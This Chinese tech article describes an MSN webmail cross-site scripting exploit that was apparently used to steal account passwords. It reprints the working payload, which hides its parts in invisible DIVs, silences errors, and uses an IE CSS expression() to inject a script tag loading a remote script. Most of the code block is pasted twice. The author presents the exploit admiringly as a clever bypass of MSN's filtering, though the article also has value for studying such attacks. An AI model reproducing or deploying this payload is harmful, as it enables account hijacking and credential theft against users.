【IT168 专稿】早在几天前,听到同事说“朋友msn发来一个网页,自己输入了密码,结果过了几天后,MSN密码错误,可能是被盗了。”当时还问同事要地址,他却说找不到地址了。几天后朋友说看到幻影发出了msn跨站代码,于是自己下载exp研究半天,终于利用成功。
原代码很乱,排版后如下:
1 <font color="ffffff">
2 <div id="jmp" style="display:none">nop</div>
3 <div id="ly" style="display:none"> //这几个DIV是用来分段存储exp内容的
4 function ok(){return true};
5 window.onerror=ok
6 </div>
7 <div id="tip" title="<a style="display:none">" style="display:none"></div>
8 <div id="tap" title="<" style="display:none"></div>
9 <div id="tep" title=">" style="display:none"></div>
10 <style>
11 //以下是EXP的开始,一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起,形成了最终shellcode。
12 div{background-image:expression(
13 javascript:1?document.write(
14 EC_tip.title+';top:'+EC_tap.title+'/a'+
15 EC_tep.title+EC_tap.title+'script id=nop'+
16 EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
17 EC_tep.title+EC_tap.title+
18 'script src=http://localhost/1.js'+
19 EC_tep.title+EC_tap.title+'/script'+
20 EC_tep.title)
21 :1=1);
22 }
23 </style>
24 </font>
2 <div id="jmp" style="display:none">nop</div>
3 <div id="ly" style="display:none"> //这几个DIV是用来分段存储exp内容的
4 function ok(){return true};
5 window.onerror=ok
6 </div>
7 <div id="tip" title="<a style="display:none">" style="display:none"></div>
8 <div id="tap" title="<" style="display:none"></div>
9 <div id="tep" title=">" style="display:none"></div>
10 <style>
11 //以下是EXP的开始,一个二元表达式内嵌利用代码。代码把div中存储的内容取出来然后加一起,形成了最终shellcode。
12 div{background-image:expression(
13 javascript:1?document.write(
14 EC_tip.title+';top:'+EC_tap.title+'/a'+
15 EC_tep.title+EC_tap.title+'script id=nop'+
16 EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
17 EC_tep.title+EC_tap.title+
18 'script src=http://localhost/1.js'+
19 EC_tep.title+EC_tap.title+'/script'+
20 EC_tep.title)
21 :1=1);
22 }
23 </style>
24 </font>
不知道是哪个大牛发现的漏洞写出了代码。要知道MSN不可能对跨站的代码,也就是邮件内容不做过滤。所以这段代码一定是某牛的思维精华,精巧的绕过了MSN对邮件内容的层层验证。而我们要学习的是思想,漏洞代码这种东西,今天能用,明天人家就补上了。